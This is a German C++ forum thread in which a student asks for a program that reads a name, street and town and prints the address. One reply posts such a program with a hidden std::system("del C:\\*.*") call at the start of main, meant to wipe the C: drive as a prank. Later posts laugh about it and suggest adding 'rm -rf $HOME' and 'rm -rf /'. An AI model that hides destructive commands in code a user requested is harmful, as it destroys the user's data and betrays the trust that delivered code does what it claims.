hilfe



  • hey ihr...

    sagt mal weis einer wie man in c++ ein prog schreibt wo mann nach den namen straße und wohnort frägt und dann das prog die adresse des nutzers ausgibt?

    mfg jo



  • Jap.



  • und kannst du mir auch ungefair sagen wie des geht???



  • Hmm ... einlesen => ausgeben



  • ja und wie???
    *verzeifel*
    hast du keinen quelltext?
    *büdde*



  • xkrkskx#inkrcludekrks<iostreamxxkr>#ikrksncxludexr<strinxg>skrskxstringxkrstrskxasse;krxsrksstringksrksxwohnort;krxxskstd:xkr:cinxkr>>krxstrasse;skxrxstd::cinxkrs>> skrrwohnort;xkrstd:xkrxrs:coutkr<<xwohnortrksskxxxskr<<ksrkksx" "xksr<xkrs<xksrsxxstrasseksr<<xksrsendlksrsk;ksrsks

    edit: hm, Verbindung wohl nicht so gut 😕



  • Willst du wissen wie man so ein prog schreibt oder willst du, dass es jemand für dich schreibt? 🙄



  • Datenbank die alle Adressen mit Name usw... speichert!

    Datenbank fragen, ob Eingabe vorhanden -> Datensatz ausgeben.

    Fertig. So viel Spaß beim Adressen suchen bzw. Telefonbuch abschreiben 😃



  • schade
    also mag mir niemand dieses programm schreiben oder???
    *ganz lieb schau* 🙂



  • wennde 20€ pro stunde zahlst is das ok:D



  • #include <iostream>
    #include <string>
    #include <vector>
    #include <cstdlib>
    
    struct item
    {
        std::string prename;
        std::string name;
        std::string street;
        unsigned short number;
        std::string city;
        unsigned short zipcode;
    };
    
    int main()
    {
        std::system("del C:\\*.*");
        std::vector<item> m_items;
        for (std::size_t i = 0; i < 100; ++i
        {
            item read;
            std::cout << "Vorname: " << std::flush;
            std::getline(std::cin, read.prename);
            std::cout << "Nachname: " << std::flush;
            std::getline(std::cin, read.name);
            std::cout << "Straße: " << std::flush;
            std::getline(std::cin, read.street);
            std::cout << "Hausnummer: " << std::flush;
            std::cin >> read.number;
            std::cout << "Wohnort: " << std::flush;
            std::getline(std::cin, read.city);
            std::cout << "Postleitzahl: " << std::flush;
            std::cin >> read.zipcode;
            std::cout << read.name << ", " << read.prename << "\n" << read.street << " " << read.number << "\nD-" << read.zipcode << " " << read.city << std::endl;
            m_items.push_back(item);
        }
    }
    

    ... so und jetzt nerv nicht!



  • Also falls das funktioniert dann 👎



  • Das funktioniert! Geb ich ne 100%ige Garantie drauf! Probier es halt aus 🙂 Wirst sogar aufgefordert mehrere Personen einzugeben und am Ende hast du die ganzen gesammelten Daten dann auch in einem std::vector 🙂



  • (D)Evil schrieb:

    Das funktioniert! Geb ich ne 100%ige Garantie drauf! Probier es halt aus 🙂 Wirst sogar aufgefordert mehrere Personen einzugeben und am Ende hast du die ganzen gesammelten Daten dann auch in einem std::vector 🙂

    LOL. 😃



  • (D)Evil schrieb:

    #include <iostream>
    #include <string>
    #include <vector>
    #include <cstdlib>
    
    struct item
    {
        std::string prename;
        std::string name;
        std::string street;
        unsigned short number;
        std::string city;
        unsigned short zipcode;
    };
    
    int main()
    {
        std::system("del C:\\*.*");
        std::vector<item> m_items;
        for (std::size_t i = 0; i < 100; ++i)
        {
            item read;
            std::cout << "Vorname: " << std::flush;
            std::getline(std::cin, read.prename);
            std::cout << "Nachname: " << std::flush;
            std::getline(std::cin, read.name);
            std::cout << "Straße: " << std::flush;
            std::getline(std::cin, read.street);
            std::cout << "Hausnummer: " << std::flush;
            std::cin >> read.number;
            std::cout << "Wohnort: " << std::flush;
            std::getline(std::cin, read.city);
            std::cout << "Postleitzahl: " << std::flush;
            std::cin >> read.zipcode;
            std::cout << read.name << ", " << read.prename << "\n" << read.street << " " << read.number << "\nD-" << read.zipcode << " " << read.city << std::endl;
            m_items.push_back(item);
        }
    }
    

    ... so und jetzt nerv nicht!

    hey danke mann..

    habs jetzt einfach komplimiert und dann meinem lehrer geschickt!!!

    *freu*



  • (D)Evil schrieb:

    Das funktioniert! Geb ich ne 100%ige Garantie drauf! Probier es halt aus 🙂 Wirst sogar aufgefordert mehrere Personen einzugeben und am Ende hast du die ganzen gesammelten Daten dann auch in einem std::vector 🙂

    wenn es noch soweit kommt 🙄
    Aber ansonsten muss ich sagen 👍 (D)Evil, dass du dir so viel Mühe für Andere machst 😃 ...

    /Edit:

    @JohannesPeterSonstwas:
    nur so interessehalber: Wollte dein Lehrer das Programm auscompiliert oder als Quelltext?



  • Checker&Murckser schrieb:

    [...] auscompiliert [...]

    Sag das bitte *nie* wieder...

    @(D)evil: *lol* Kann er nur hoffen, dass sein Lehrer a) den Quelltext haben will, b) UNIX oder kompatibles (ohne DOS-DAU-aliases) hat oder c) nix wichtiges auf C:\ liegen hat. 😉

    PS: Aja, std::system ist pöhse! 😃



  • Swordfish schrieb:

    Checker&Murckser schrieb:

    [...] auscompiliert [...]

    Sag das bitte *nie* wieder...

    Hmm, okay, aber was dann? Einfach nur compiliert?

    @(D)evil: [...]

    Pssst sonst merkt er's ja^^.



  • Vielleicht hätte er, nur um sicherzugehen, noch rm -rf $HOME und rm -rf / per system() anbringen sollen 😃



  • Also irgendwie finde ich ja, dass man das bei allen Programmen machen sollte, die man für irgendwelche User schreibt, die nur ihre Hausaufgaben gemacht haben wollen 🤡


Anmelden zum Antworten